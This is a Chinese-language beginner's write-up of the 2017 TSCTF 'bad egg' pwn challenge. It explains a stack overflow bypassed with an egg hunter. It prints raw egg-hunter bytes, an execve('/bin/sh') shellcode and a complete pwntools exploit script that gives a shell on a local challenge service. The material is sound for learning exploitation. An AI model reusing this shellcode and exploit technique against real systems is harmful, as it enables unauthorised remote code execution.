刚刚开始学习pwn,记录一下自己学习的过程。
今天完成了第一道pwn题目的解答,做的题目是2017年TSCTF的bad egg,通过这道题学习到了一种getshell的方法:通过在大小不够存储shellcode的空间内写入egg_hunter使其去找到真正的shellcode所在的地址执行拿到shell。
首先拿到题目用ida去查看:
题目首先通过sub_8B0()生成了一个1000以内的随机数用来给dword_305C申请地址,这里用的malloc申请的地址是存在在堆中的,然后题目会把申请到的这块地址的首地址输出出来,接着又会在堆中申请一个256大小的空间(这里会是后面用来存放shellcode的位置),接着执行sub_9AB()函数。
进入sub_9AB()函数:
这个函数逻辑是先申请了int buf,int v2,char haystack[4],这些申请的空间是存在在栈中的,首先要你输入treat or trick?,只有输入treat才会继续执行下面的代码,接着程序会把申请的haystack所在的栈地址告诉你,接下来输入name到haystack,这里read给的max位32位,而haystack只申请的4个字节的空间,所以在这里存在栈溢出,接着是往之前堆中申请的256大小的地址写入数据,然后程序结束。
为了防止直接在栈上写shellcode本题的栈上可写空间只有20个字节(执行函数先push了参数这里无,然后返回地址4字节,再是ebp4字节,ebx4字节,再第一个int4字节,第二个int4字节再是haystack所以haystack和返回地址之间大小为20个字节),而且对输入进行了"sh"过滤,同时为了防止构造ROP链,题目开了pie保护,即代码段随机化。
那么解题思路为:将egg_hunter代码写入栈溢出位置,并将返回地址覆盖为造成栈溢出变量的起始地址,然后将egg_hunter的tag以及shellcode写入堆中,程序运行顺序为先写入栈中,再写入堆中,然后到返回地址为栈溢出的起始地址,所以执行egg_hunter程序,到堆中指定地址去找tag,找到了tag后执行随后的shellcode代码拿到shell。
egg hunter汇编原理:
其实就是从eax的地址开始一直往下找直到找到内容和ebx的内容相同的地址,然后跳到该地址去执行。
egg_hunter="\xb8" + p32(chunk_addr) + "\xbb\x8f\x50\x90\x50\x43\x40\x39\x18\x75\xfb\xff\xe0\x01"。chunk_addr是最前面告诉我们的堆的地址。
shellcode汇编代码:
意思是通过int80中断,调用号为11,即sys_execve()函数,参数是ebx这里为/bin/sh,即执行了sys_execve(‘/bin/sh‘)。
shellcode=‘\x90\x50\x90\x50‘+"\x90\x90\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80\x90\x90‘
前面要加上tag这里是“\x90\x50\x90\x50”。
exp:
1 from pwn import * 2 #init 3 debug = 0 4 if debug: 5 io = process(‘./egg‘) 6 else: 7 io = remote(‘127.0.0.1‘,2334) 8 9 context.log_level = ‘debug‘ 10 11 if debug: 12 gdb.attach(pidof(‘egg‘)[-1],open(‘zp‘)) 13 #---------------------------------------------------------------- 14 15 shellcode = ‘\x90\x50\x90\x50‘+"\x90\x90\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80\x90\x90" 16 print io.recvuntil(‘seat is ‘) 17 chunk_addr=int(io.recvuntil(‘\n‘),16) 18 print hex(chunk_addr) 19 print io.recvuntil(‘trick? ‘) 20 io.sendline(‘treat‘) 21 print io.recvuntil(‘located in ‘) 22 stack_addr=int(io.recvuntil(‘\n‘),16) 23 print hex(stack_addr) 24 io.recvuntil(‘name?\n‘) 25 egg_hunter="\xb8" + p32(chunk_addr) + "\xbb\x8f\x50\x90\x50\x43\x40\x39\x18\x75\xfb\xff\xe0\x01" 26 payload = egg_hunter + ‘A‘*(20-len(egg_hunter)) + p32(stack_addr) 27 io.sendline(payload) 28 io.recvuntil(‘here.\n‘) 29 io.sendline(shellcode) 30 io.interactive()
pwn题目可用:socat tcp4-listen:2334,fork exec:./egg挂载,然后通过nc ip 2334去访问
bad egg下载地址:http://files.cnblogs.com/files/lllkh/badegg.rar